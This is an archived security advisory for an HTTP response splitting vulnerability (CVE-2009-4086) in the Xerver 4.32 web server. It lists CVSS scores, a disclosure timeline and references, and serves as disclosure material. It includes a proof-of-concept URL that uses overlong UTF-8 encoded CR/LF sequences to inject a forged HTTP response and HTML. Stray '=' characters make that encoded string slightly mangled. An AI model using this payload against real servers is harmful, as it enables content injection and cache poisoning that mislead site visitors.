Xerver 4.32 HTTP response splitting vulnerability

2009-11-23 / 2009-11-24

Credit: sasquatch

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-4086

CWE: CWE-Other

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Discovered: 04-10-08
By: SecureState R&D Team - sasquatch
Vendor Notified: 04-11-08
Vendor Response: 04-13-08
Vendor Notified: 10-07-09
Vendor Response: NONE
Published: 11-18-09

Proof of Concept:

http://server/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8=D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbo=dy%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3=C/html%3E%8D%C0%8A%C0%8D%C0%8A

References:

http://xforce.iss.net/xforce/xfdb/54356

http://www.securityfocus.com/bid/37064

http://secunia.com/advisories/36681

http://packetstormsecurity.org/0911-exploits/xerver-split.txt

See this note in RAW Version

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Xerver 4.32 HTTP response splitting vulnerability

References:

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